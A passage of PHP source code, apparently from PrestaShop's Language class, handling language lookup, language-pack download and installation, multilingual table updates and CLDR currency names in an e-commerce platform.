PrestaShopDatabaseException * @throws PrestaShopException */ public static function getLanguageByIETFCode($code) { if (!Validate::isLanguageCode($code)) { die(Tools::displayError(Context::getContext()->getTranslator()->trans('Fatal error: IETF code %s is not correct', [Tools::safeOutput($code)], 'Admin.International.Notification'))); } // $code is in the form of 'xx-YY' where xx is the language code // and 'YY' a country code identifying a variant of the language. $lang_country = explode('-', $code); // Get the language component of the code $lang = $lang_country[0]; // Find the id_lang of the language. // We look for anything with the correct language code // and sort on equality with the exact IETF code wanted. // That way using only one query we get either the exact wanted language // or a close match. $id_lang = Db::getInstance()->getValue( 'SELECT `id_lang`, IF(language_code = \'' . pSQL($code) . '\', 0, LENGTH(language_code)) as found FROM `' . _DB_PREFIX_ . 'lang` WHERE LEFT(`language_code`,2) = \'' . pSQL($lang) . '\' ORDER BY found ASC' ); // Instantiate the Language object if we found it. if (!$id_lang) { return false; } return new Language($id_lang); } /** * Return array (id_lang, iso_code). * * @param string $iso_code Iso code * * @return array Language (id_lang, iso_code) */ public static function getIsoIds($active = true) { return Db::getInstance(_PS_USE_SQL_SLAVE_) ->executeS( 'SELECT `id_lang`, `iso_code` FROM `' . _DB_PREFIX_ . 'lang` ' . ($active ? 'WHERE active = 1' : '') ); } /** * Copies translated information in *_lang tables from one language to another * * @param int $from Source language id * @param int $to Destination language id * * @return true * * @throws PrestaShopDatabaseException */ public static function copyLanguageData($from, $to) { $result = Db::getInstance()->executeS('SHOW TABLES FROM `' . _DB_NAME_ . '`'); foreach ($result as $row) { if (preg_match('/_lang/', $row['Tables_in_' . _DB_NAME_]) && $row['Tables_in_' . _DB_NAME_] != _DB_PREFIX_ . 'lang') { $result2 = Db::getInstance()->executeS('SELECT * FROM `' . $row['Tables_in_' . _DB_NAME_] . '` WHERE `id_lang` = ' . (int) $from); if (!count($result2)) { continue; } Db::getInstance()->execute('DELETE FROM `' . $row['Tables_in_' . _DB_NAME_] . '` WHERE `id_lang` = ' . (int) $to); $query = 'INSERT INTO `' . $row['Tables_in_' . _DB_NAME_] . '` VALUES '; foreach ($result2 as $row2) { $query .= '('; $row2['id_lang'] = $to; foreach ($row2 as $field) { $query .= (!is_string($field) && $field == null) ? 'NULL,' : '\'' . pSQL($field, true) . '\','; } $query = rtrim($query, ',') . '),'; } $query = rtrim($query, ','); Db::getInstance()->execute($query); } } return true; } /** * Load all installed languages in memory for caching. */ public static function loadLanguages() { self::$_LANGUAGES = []; $sql = 'SELECT l.*, ls.`id_shop` FROM `' . _DB_PREFIX_ . 'lang` l LEFT JOIN `' . _DB_PREFIX_ . 'lang_shop` ls ON (l.id_lang = ls.id_lang)'; $result = Db::getInstance()->executeS($sql); foreach ($result as $row) { $idLang = (int) $row['id_lang']; if (!isset(self::$_LANGUAGES[$idLang])) { self::$_LANGUAGES[$idLang] = $row; } self::$_LANGUAGES[$idLang]['shops'][(int) $row['id_shop']] = true; } } public static function loadLanguagesLegacy() { self::$_LANGUAGES = []; $result = Db::getInstance()->executeS('SELECT * FROM `' . _DB_PREFIX_ . 'lang`'); foreach ($result as $row) { $idLang = (int) $row['id_lang']; if (!isset(self::$_LANGUAGES[$idLang])) { self::$_LANGUAGES[$idLang] = $row; } self::$_LANGUAGES[$idLang]['shops'][1] = true; } } public static function checkAndAddLanguage($iso_code, $lang_pack = false, $only_add = false, $params_lang = null) { if (Language::getIdByIso($iso_code)) { return true; } // Initialize the language $lang = new Language(); $lang->iso_code = Tools::strtolower($iso_code); $lang->language_code = $iso_code; // Rewritten afterwards if the language code is available $lang->active = true; // If the language pack has not been provided, retrieve it from prestashop.com if (!$lang_pack) { $lang_pack = self::getLangDetails($iso_code); } // If a language pack has been found or provided, prefill the language object with the value if ($lang_pack) { foreach ($lang_pack as $key => $value) { if ($key != 'iso_code' && isset(Language::$definition['fields'][$key])) { $lang->$key = $value; } } } // Use the values given in parameters to override the data retrieved automatically if ($params_lang !== null && is_array($params_lang)) { foreach ($params_lang as $key => $value) { if ($key != 'iso_code' && isset(Language::$definition['fields'][$key])) { $lang->$key = $value; } } } if (!$lang->name && $lang->iso_code) { $lang->name = $lang->iso_code; } if (!$lang->validateFields() || !$lang->validateFieldsLang() || !$lang->add(true, false, $only_add)) { return false; } if (isset($params_lang['allow_accented_chars_url']) && in_array($params_lang['allow_accented_chars_url'], ['1', 'true'])) { Configuration::updateGlobalValue('PS_ALLOW_ACCENTED_CHARS_URL', 1); } $languageManager = new LanguageImageManager(); $languageManager->setupLanguageFlag($lang->locale, $lang->id, $lang_pack['flag'] ?? null); $languageManager->setupDefaultImagePlaceholder($lang->iso_code); self::loadLanguages(); return true; } /** * @deprecated Since 1.7.7, use LanguageImageManager */ protected static function _copyNoneFlag($id) { @trigger_error( __FUNCTION__ . 'is deprecated since version 1.7.7. Use ' . LanguageImageManager::class . ' instead.', E_USER_DEPRECATED ); return true; } public static function isInstalled($iso_code) { if (self::$_cache_language_installation === null) { self::$_cache_language_installation = []; $result = Db::getInstance()->executeS('SELECT `id_lang`, `iso_code` FROM `' . _DB_PREFIX_ . 'lang`'); foreach ($result as $row) { self::$_cache_language_installation[$row['iso_code']] = $row['id_lang']; } } return isset(self::$_cache_language_installation[$iso_code]) ? self::$_cache_language_installation[$iso_code] : false; } public static function isInstalledByLocale($locale) { if (self::$_cache_language_installation_by_locale === null) { self::$_cache_language_installation_by_locale = []; $result = Db::getInstance()->executeS('SELECT `id_lang`, `locale` FROM `' . _DB_PREFIX_ . 'lang`'); foreach ($result as $row) { self::$_cache_language_installation_by_locale[$row['locale']] = $row['id_lang']; } } return isset(self::$_cache_language_installation_by_locale[$locale]); } public static function countActiveLanguages($id_shop = null) { if (isset(Context::getContext()->shop) && is_object(Context::getContext()->shop) && $id_shop === null) { $id_shop = (int) Context::getContext()->shop->id; } if (!isset(self::$countActiveLanguages[$id_shop])) { self::$countActiveLanguages[$id_shop] = Db::getInstance()->getValue(' SELECT COUNT(DISTINCT l.id_lang) FROM `' . _DB_PREFIX_ . 'lang` l JOIN ' . _DB_PREFIX_ . 'lang_shop lang_shop ON (lang_shop.id_lang = l.id_lang AND lang_shop.id_shop = ' . (int) $id_shop . ') WHERE l.`active` = 1 '); } return self::$countActiveLanguages[$id_shop]; } public static function downloadAndInstallLanguagePack($iso, $version = _PS_VERSION_, $params = null, $install = true) { if (!Validate::isLanguageIsoCode((string) $iso)) { return false; } $errors = []; if (Language::downloadLanguagePack($iso, $version, $errors)) { if ($install) { Language::installLanguagePack($iso, $params, $errors); } else { Language::updateLanguagePack($iso, $errors); } } return count($errors) ? $errors : true; } public static function downloadLanguagePack($iso, $version, &$errors = []) { $iso = (string) $iso; // $iso often comes from xml and is a SimpleXMLElement $lang_pack = self::getLangDetails($iso); if (!$lang_pack) { $errors[] = Context::getContext()->getTranslator()->trans('Sorry this language is not available', [], 'Admin.International.Notification'); } else { self::downloadXLFLanguagePack($lang_pack['locale'], $errors, 'sf'); } return !count($errors); } public static function downloadXLFLanguagePack($locale, &$errors = [], $type = 'sf') { $file = _PS_TRANSLATIONS_DIR_ . $type . '-' . $locale . '.zip'; $url = ('emails' === $type) ? self::EMAILS_LANGUAGE_PACK_URL : self::SF_LANGUAGE_PACK_URL; $url = str_replace( [ '%version%', '%locale%', ], [ _PS_VERSION_, $locale, ], $url ); if (!is_writable(dirname($file))) { // @todo Throw exception $errors[] = Context::getContext()->getTranslator()->trans('Server does not have permissions for writing.', [], 'Admin.International.Notification') . ' (' . $file . ')'; } elseif ($content = Tools::file_get_contents($url, false, null, self::PACK_DOWNLOAD_TIMEOUT)) { file_put_contents($file, $content); } else { $errors[] = Context::getContext()->getTranslator()->trans('Language pack unavailable.', [], 'Admin.International.Notification') . ' ' . $url; } } public static function installSfLanguagePack($locale, &$errors = []) { $zipFilePath = _PS_TRANSLATIONS_DIR_ . 'sf-' . $locale . '.zip'; if (!file_exists($zipFilePath)) { // @todo Throw exception $errors[] = Context::getContext()->getTranslator()->trans('Language pack unavailable.', [], 'Admin.International.Notification'); } else { $zipArchive = new ZipArchive(); $zipArchive->open($zipFilePath); $zipArchive->extractTo(_PS_ROOT_DIR_ . '/app/Resources/translations'); $zipArchive->close(); } } /** * @param array $langPack * @param array $errors * @param bool $overwriteTemplates */ private static function generateEmailsLanguagePack($langPack, &$errors = [], $overwriteTemplates = false) { $locale = $langPack['locale']; $sfContainer = SymfonyContainer::getInstance(); if (null === $sfContainer) { $errors[] = Context::getContext()->getTranslator()->trans( 'Cannot generate emails because the Symfony container is unavailable.', [], 'Admin.Notifications.Error' ); return; } $mailTheme = Configuration::get('PS_MAIL_THEME', null, null, null, 'modern'); /** @var GenerateThemeMailTemplatesCommand $generateCommand */ $generateCommand = new GenerateThemeMailTemplatesCommand( $mailTheme, $locale, $overwriteTemplates ); /** @var CommandBusInterface $commandBus */ $commandBus = $sfContainer->get('prestashop.core.command_bus'); try { $commandBus->handle($generateCommand); } catch (CoreException $e) { $errors[] = Context::getContext()->getTranslator()->trans( 'Cannot generate email templates: %s.', [$e->getMessage()], 'Admin.Notifications.Error' ); } } /** * @param array $lang_pack * @param array $errors * * @deprecated This method is deprecated since 1.7.6.0 use GenerateThemeMailsCommand instead */ public static function installEmailsLanguagePack($lang_pack, &$errors = []) { @trigger_error( 'Language::installEmailsLanguagePack() is deprecated since version 1.7.6.0 Use GenerateThemeMailsCommand instead.', E_USER_DEPRECATED ); self::generateEmailsLanguagePack($lang_pack, $errors, true); } public static function installLanguagePack($iso, $params, &$errors = []) { // Clear smarty modules cache Tools::clearCache(); if (!Language::checkAndAddLanguage((string) $iso, false, false, $params)) { $errors[] = Context::getContext()->getTranslator()->trans('An error occurred while creating the language: %s', [(string) $iso], 'Admin.International.Notification'); } else { // Reset cache Language::loadLanguages(); } $lang_pack = self::getLangDetails($iso); self::installSfLanguagePack(self::getLocaleByIso($iso), $errors); self::updateMultilangTable($iso); self::updateCurrenciesCldr(new Language(self::getIdByIso($iso, true))); self::generateEmailsLanguagePack($lang_pack, $errors, true); return count($errors) ? $errors : true; } private static function updateCurrenciesCldr(Language $language) { /** @var Currency[] $currencies */ $currencies = Currency::getCurrencies(true, false, false); $container = SymfonyContainer::getInstance(); /** @var LocaleRepository $localeRepoCLDR */ $localeRepoCLDR = $container->get('prestashop.core.localization.cldr.locale_repository'); $localeCLDR = $localeRepoCLDR->getLocale($language->locale); foreach ($currencies as $currency) { $names = $currency->getLocalizedNames(); $symbols = $currency->getLocalizedSymbols(); $currencyCLDR = $localeCLDR->getCurrency($currency->iso_code); if (null === $currencyCLDR) { continue; } $names[$language->id] = $currencyCLDR->getDisplayName(); $symbols[$language->id] = $currencyCLDR->getSymbol(); $currency->setLocalizedNames($names); $currency->setLocalizedSymbols($symbols); $currency->save(); } } public static function updateLanguagePack($iso, &$errors = []) { $lang_pack = self::getLangDetails($iso); if (!empty($lang_pack['locale'])) { //Update locale field if empty (manually created, or imported without it) $language = new Language(Language::getIdByIso($iso)); if ($language->id && empty($language->locale)) { $language->locale = $lang_pack['locale']; $language->save(); } self::installSfLanguagePack($lang_pack['locale'], $errors); Language::updateMultilangTable($iso); self::generateEmailsLanguagePack($lang_pack, $errors, false); } } /** * Check if more on than one language is activated. * * @since 1.5.0 * * @return bool */ public static function isMultiLanguageActivated($id_shop = null) { return Language::countActiveLanguages($id_shop) > 1; } public static function getLanguagePackListContent($iso, $tar) { $key = 'Language::getLanguagePackListContent_' . $iso; if (!Cache::isStored($key)) { if (!$tar instanceof \Archive_Tar) { return false; } $result = $tar->listContent(); Cache::store($key, $result); return $result; } return Cache::retrieve($key); } public static function updateModulesTranslations(array $modules_list) { $languages = Language::getLanguages(false); foreach ($languages as $lang) { $gz = false; $files_listing = []; $filegz = _PS_TRANSLATIONS_DIR_ . $lang['iso_code'] . '.gzip'; clearstatcache(); if (@filemtime($filegz) < (time() - (24 * 3600))) { if (Language::downloadAndInstallLanguagePack($lang['iso_code'], null, null, false) !== true) { break; } } $gz = new Archive_Tar($filegz, true); if (!$gz) { continue; } $files_list = Language::getLanguagePackListContent($lang['iso_code'], $gz); foreach ($modules_list as $module_name) { foreach ($files_list as $i => $file) { if (strpos($file['filename'], 'modules/' . $module_name . '/') !== 0) { unset($files_list[$i]); } } } foreach ($files_list as $file) { if (isset($file['filename']) && is_string($file['filename'])) { $files_listing[] = $file['filename']; } } $gz->extractList($files_listing, _PS_TRANSLATIONS_DIR_ . '../', ''); } } /** * Update all table_lang from xlf & DataLang. * * @param $iso_code * * @return bool */ public static function updateMultilangTable($iso_code) { $useLang = Db::getInstance()->getRow('SELECT * FROM `' . _DB_PREFIX_ . 'lang` WHERE `iso_code` = "' . pSQL($iso_code) . '" ', true, false); if (!empty($useLang)) { $lang = new Language($useLang['id_lang']); $tables = Db::getInstance()->executeS('SHOW TABLES LIKE \'' . str_replace('_', '\\_', _DB_PREFIX_) . '%\_lang\' '); foreach ($tables as $table) { foreach ($table as $t) { $className = ucfirst(Tools::toCamelCase(str_replace(_DB_PREFIX_, '', $t))); if (_DB_PREFIX_ . 'country_lang' == $t) { self::updateMultilangFromCldr($lang); } else { self::updateMultilangFromClass($t, $className, $lang); } } } Hook::exec('actionUpdateLangAfter', ['lang' => $lang]); } return true; } public static function updateMultilangFromCldr($lang) { $cldrLocale = $lang->getLocale(); $cldrFile = _PS_TRANSLATIONS_DIR_ . 'cldr/datas/main/' . $cldrLocale . '/territories.json'; if (file_exists($cldrFile)) { $cldrContent = json_decode(file_get_contents($cldrFile), true); if (!empty($cldrContent)) { $translatableCountries = Db::getInstance()->executeS('SELECT c.`iso_code`, cl.* FROM `' . _DB_PREFIX_ . 'country` c INNER JOIN `' . _DB_PREFIX_ . 'country_lang` cl ON c.`id_country` = cl.`id_country` WHERE cl.`id_lang` = "' . (int) $lang->id . '" ', true, false); if (!empty($translatableCountries)) { $cldrLanguages = $cldrContent['main'][$cldrLocale]['localeDisplayNames']['territories']; foreach ($translatableCountries as $country) { if (isset($cldrLanguages[$country['iso_code']]) && !empty($cldrLanguages[$country['iso_code']]) ) { $sql = 'UPDATE `' . _DB_PREFIX_ . 'country_lang` SET `name` = "' . pSQL(ucwords($cldrLanguages[$country['iso_code']])) . '" WHERE `id_country` = "' . (int) $country['id_country'] . '" AND `id_lang` = "' . (int) $lang->id . '" LIMIT 1;'; Db::getInstance()->execute($sql); } } } } } } /** * Updates multilang tables using DataLang classes * * @param string $table * @param string $className * @param string $lang * * @throws PrestaShopDatabaseException */ public static function updateMultilangFromClass($table, $className, $lang) { if (!class_exists($className)) { return; } /** @var DataLangCore $classObject */ $classObject = new $className($lang->locale); $keys = $classObject->getKeys(); $fieldsToUpdate = $classObject->getFieldsToUpdate(); if (!empty($keys) && !empty($fieldsToUpdate)) { $shops = Shop::getShopsCollection(false); foreach ($shops as $shop) { static::updateMultilangFromClassForShop($table, $classObject, $lang, $shop, $keys, $fieldsToUpdate); } } } /** * untranslate then re-translate duplicated rows in tables with pattern xxx_lang. * * @param string $tableName * @param DataLang $classObject * @param string $lang * @param Shop $shop * @param array $keys * @param array $fieldsToUpdate * * @throws \PrestaShopDatabaseException */ private static function updateMultilangFromClassForShop($tableName, $classObject, $lang, $shop, $keys, $fieldsToUpdate) { $shopDefaultLangId = Configuration::get('PS_LANG_DEFAULT', null, $shop->id_shop_group, $shop->id); $shopDefaultLanguage = new Language($shopDefaultLangId); $translator = SymfonyContainer::getInstance()->get('translator'); if (!$translator->isLanguageLoaded($shopDefaultLanguage->locale)) { (new TranslatorLanguageLoader(true))->loadLanguage($translator, $shopDefaultLanguage->locale); } $shopFieldExists = $primary_key_exists = false; $columns = Db::getInstance()->executeS('SHOW COLUMNS FROM `' . $tableName . '`'); foreach ($columns as $column) { $fields[] = '`' . $column['Field'] . '`'; if ($column['Field'] == 'id_shop') { $shopFieldExists = true; } } // get table data $tableData = Db::getInstance()->executeS( 'SELECT * FROM `' . bqSQL($tableName) . '` WHERE `id_lang` = "' . (int) $lang->id . '"' . ($shopFieldExists ? ' AND `id_shop` = ' . (int) $shop->id : ''), true, false ); if (!empty($tableData)) { foreach ($tableData as $data) { $updateWhere = ''; $updateField = ''; // Construct update where foreach ($keys as $key) { if (!empty($updateWhere)) { $updateWhere .= ' AND '; } $updateWhere .= '`' . bqSQL($key) . '` = "' . pSQL($data[$key]) . '"'; } // Construct update field foreach ($fieldsToUpdate as $toUpdate) { if ('url_rewrite' === $toUpdate && self::$locale_crowdin_lang === $lang->locale) { continue; } $untranslated = $translator->getSourceString($data[$toUpdate], $classObject->getDomain()); $translatedField = $classObject->getFieldValue($toUpdate, $untranslated); if (!empty($translatedField) && $translatedField != $data[$toUpdate]) { if (!empty($updateField)) { $updateField .= ' , '; } $updateField .= '`' . bqSQL($toUpdate) . '` = "' . pSQL($translatedField) . '"'; } } // Update table if (!empty($updateWhere) && !empty($updateField)) { $sql = 'UPDATE `' . bqSQL($tableName) . '` SET ' . $updateField . ' WHERE ' . $updateWhere . ' AND `id_lang` = "' . (int) $lang->id . '" ' . ($shopFieldExists ? ' AND `id_shop` = ' . (int) $shop->id : '') . ' LIMIT 1;'; Db::getInstance()->execute($sql); } } } } /** * Returns an RTL stylesheet processor instance. * * @return RtlStylesheetProcessor */ public static function getRtlStylesheetProcessor() { if (defined('_PS_ADMIN_DIR_')) { $adminDir = _PS_ADMIN_DIR_; } else { $adminDir = _PS_ROOT_DIR_ . DIRECTORY_SEPARATOR . 'admin'; $adminDir = (is_dir($adminDir)) ? $adminDir : ($adminDir . '-dev'); } $themesDir = _PS_ROOT_DIR_ . DIRECTORY_SEPARATOR . 'themes'; $processor = new RtlStylesheetProcessor( $adminDir, $themesDir, [ _PS_MODULE_DIR_ . 'gamification', _PS_MODULE_DIR_ . 'welcome', _PS_MODULE_DIR_ . 'cronjobs', ] ); return $processor; } /** * @return string return the language locale, or its code by default */ public function getLocale() { return !empty($this->locale) ? $this->locale : $this->language_code; } /** * {@inheritdoc} */ public function getId() { return $this->id; } /** * {@inheritdoc} */ public function getName() { return $this->name; } /** * {@inheritdoc} */ public function getIsoCode() { return $this->iso_code; } /** * {@inheritdoc} */ public function getLanguageCode() { return $this->language_code; } /** * {@inheritdoc} */ public function isRTL() { return $this->is_rtl; } }
Close